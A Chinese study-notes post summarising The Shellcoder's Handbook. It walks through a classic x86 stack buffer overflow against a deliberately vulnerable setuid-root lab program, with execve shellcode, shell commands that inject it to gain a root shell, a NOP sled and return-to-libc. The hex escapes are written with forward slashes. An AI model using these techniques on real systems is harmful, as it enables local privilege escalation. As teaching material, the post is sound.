声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。
派生shell
这类溢出一般会被用来获取根(uid 0)特权,我们可以攻击以根特权运行的进程来达到这个目的。如果进程以根运行,我们可以通过溢出强制它执行shell,而这个shell将继承根特权,我们也会因此而得到根shell。首先了解一下派生shell。
//file: shell.c
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
编译运行它,我们会看到程序派生了一个shell。在我的系统上(Debian/Etch)派生一个“sh-3.1$”的shell,该shell没有根特权。当然没有根特权的shell不是我们的目的。我将会更后面会讲述拿根特权的shell的例子。这里阐述更基本的原理。
在栈的缓冲区注入shellcode
我们只能向缓冲区插入机器指令opcode。为了把opcode插入缓冲区,必须把派生shell的c代码编译成汇编指令,然后从可读的汇编指令中提取opcode。这些被称为shellcode或opcode的代码可以注入脆弱的缓冲区,并可以执行。
//file: shellcode.c
//gcc -o shellcode shellcode.c -ggdb -mpreferred-stack-boundary=2
#include <stdio.h>
char shellcode[] = "/xeb/x1a/x5e/x31"
"/xc0/x88/x46/x07"
"/x8d/x1e/x89/x5e"
"/x08/x89/x46/x0c"
"/xb0/x0b/x89/xf3"
"/x8d/x4e/x08/x8d"
"/x56/x0c/xcd/x80"
"/xe8/xe1/xff/xff"
"/xff/x2f/x62/x69"
"/x6e/x2f/x73/x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
其中数组shellcode保存的就是派生shell的opcode,这里先不管怎么把c代码翻译为opcode。我们怎么运行shellcode呢?其实所要做的与《栈溢出》中控制EIP差不多,改写RET,保存为shellcode的第一条指令的地址。这样的话,当RET被弹出栈并被加载到EIP时,系统将执行的是shellcode的第一条指令。
那么如何理解
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
这两条指令就使得RET被改写了呢?我们首先画出栈的数据结构:
+---------------+ 低内存地址,栈顶
| |
+---------------+
| 局部变量ret | &ret
+---------------+
| EBP | &ret + 1
+---------------+
| RET | &ret + 2
+---------------+
| |
+---------------+ 高内存地址,栈底
这样就一目了然了,&ret + 2正是指向RET的地址。
地址问题
当用户在命令行下提交shellcode时,并试图让它执行,所面临的最困难的问题是找出shellcode的起始地址。
在内存中寻找shellcode的起始地址有很多方法,先说一下猜测法。每个程序的栈都以同样的地址开始,事实上近来的操作系统带有grsecurity补丁故意变化栈的地址,从而使这种类型的攻击变得更困难。如果知道这个地址,那么就应该可以根据这个地址猜测shellcode的起始地址。下面是一段查找ESP位置的代码,如果知道了ESP的地址,那么可以猜测当前地址与shellcode之间的偏移距离。
//file: find_esp.c
#include <stdio.h>
unsigned long find_esp()
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("0x%x/n", find_esp());
}
编译运行,如果你的系统没有grsecurity补丁的话,打印出来的esp的地址是一致的。如果不一致,在后面的章节解释怎么规避这种随机结果。以下,假设运行的是有一致栈指针地址的版本。(注:本人系统为Debian/Etch,应没有打grsecurity补丁,但是运行find_esp返回的地址不是一致的,估计2.6Kernel作了某种规免。)
以一个简单的程序练手,破解这个程序获取根权限。
//file: victim.c
#include <stdio.h>
int main(int argc, char *argv[])
{
char little_arr[512];
if (argc > 1)
strcpy(little_arr, argv[1]);
}
程序从命令行获取输入后,在没有进行边界检查的情况下,把输入数据复制到数组。为了获取root权限,先把目标程序的属主设为root,再把suid位打开。现在,以普通用户的身份登陆系统,破解这个程序,最终获取root特权
sep@debian66:~/shellcode$ sudo chown root victim
sep@debian66:~/shellcode$ sudo chmod +s victim
接着可以在bash里再次使用printf命令把shellcode放到程序的命令参数里。首先要做的是在命令行字符串找出改写保存的返回地址(RET)的偏移量。在这个例子中,数组大小为512,我们知道这个偏移量至少是512。
关于bash和命令代替的快速注解:可以通过在printf前面放一个$并用园括号把它括起来的方式,把它的输出作为命令行参数传递。如下:
./victim $(printf "foo")
可以让printf输出一长串零,如下:
printf "%020x" ;输出20个'0'
可用这个方法猜测RET在victim里的偏移量:
sep@debian66:~/shellcode$ ./victim $(printf "%0512x" 0)
sep@debian66:~/shellcode$ ./victim $(printf "%0516x" 0)
sep@debian66:~/shellcode$ ./victim $(printf "%0520x" 0)
sep@debian66:~/shellcode$ ./victim $(printf "%0524x" 0)
Segmentation fault
sep@debian66:~/shellcode$ ./victim $(printf "%0528x" 0)
Segmentation fault
从出段故障的长度信息我们可以判定,保存的返回地址的偏移或许在命令行参数的524~528B之间。我们已经准备了shellcode,大致知道了RET可能在哪里,继续。
shellcode有40B。我们随后填充480B或484B,然后就是保存的返回地址。用find_esp找出程序的栈地址,这里假设为0xbffffad8.那么保存的返回地址应当比0xbffffad8稍微小一点,因为栈在内存里是向下增长的。
sep@debian66:~/shellcode$ ./victim $(printf "/xeb/x1a/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46/x0c/xb/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xe1/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68%0480x/xd8/xfa/xff/bf")
Segmentation fault
当然不会那么幸运一次成功的,前面部分是shellcode;%0480x是填充字节;/xd8/xfa/xff/bf是被改写的RET,指向shellcode的第一条指令地址(实际上就是数组little_arr起始地址),实际上要比/xd8/xfa/xff/bf稍小。这里的重点就是要找到RET地址偏移和shellcode起始地址(即little_arr起始地址)。这里用猜测的方法来确定这个地址,详细见原书P24。
NOP法
猜测偏移量是比较麻烦的。如果设计shellcode时使得多个不同的偏移量允许我们获得控制,那么也可以减少猜测时间。可选用NOP法来增加潜在的偏移量数量。No Operations(NOP)是延迟执行时间的指令,IA32用0x90表示NOP。为了提高命中率,用NOP填充shellcode的头部,这样只要猜测的地址位于NOP范围之内,处理器在执行完NOP后,就会执行派生shell的shellcode。现在,再不必苛求我们猜到精确的偏移量了。
返回libc越过不可执行栈
之前说的都是在栈上执行指令。但有些系统(如Solaris和OpenBSD)不允许在栈上执行代码。当遇到这种不可执行栈时,可用“返回libc(Return to libc)”方法。
利用栈溢出的方法是把控制器交给栈上的指令,返回libc方法则是把控制权交给特定的动态库函数。一般来说选定为libc。对于返回libc的破解方法,简单起见,仅让它派生shell。最好用的libc函数是system()。把/bin/sh作为sysytem()的参数,在系统执行system()后,就会得到一个shell。这样不需要在栈上执行任何代码,直接把控制权交给libc里的system()函数则可。
首先执行call <func>,call把下一条指令的地址压入栈,并将ESP减4。当func返回时,RET(或EIP)将被弹出栈,因而ESP直接指向RET之后的地址。
现在,执行流程应该重定向到将要被执行的system()。func假设ESP已指向应该返回的地址,并想当然的认为所需的参数正在栈上等着它,而第一个参数位于RET之后。因此,把返回system()的地址和参数放到8字节里。当func返回时,系统将返回到system()。故我们需要确定:1、system()的地址;2、/bin/sh的地址;3、exit()的地址,以便干净退出被攻击的程序。
反汇编任一个c/c++程序,基本都可以在libc里发现system()的地址。
sep@debian66:~/shellcode$ gdb ./victim
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80483a2
(gdb) run
Starting program: /home/sep/shellcode/victim
Breakpoint 1, 0x080483a2 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eba990 <system> ;system()的地址
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7eb02e0 <exit> ;exit()的地址
(gdb) q
The program is running. Exit anyway? (y or n) y
sep@debian66:~/shellcode$
最后用memfetch工具找出/bin/sh的地址。也可把/bin/sh保存在环境变量里,然后找到这个变量的地址。
实现步骤如下:
1、用垃圾数据填满缓冲区与返回地址之间的空间;
2、用system()的地址改写RET;
3、在RET后填上exit()的地址;
4、再填上/bin/sh的地址。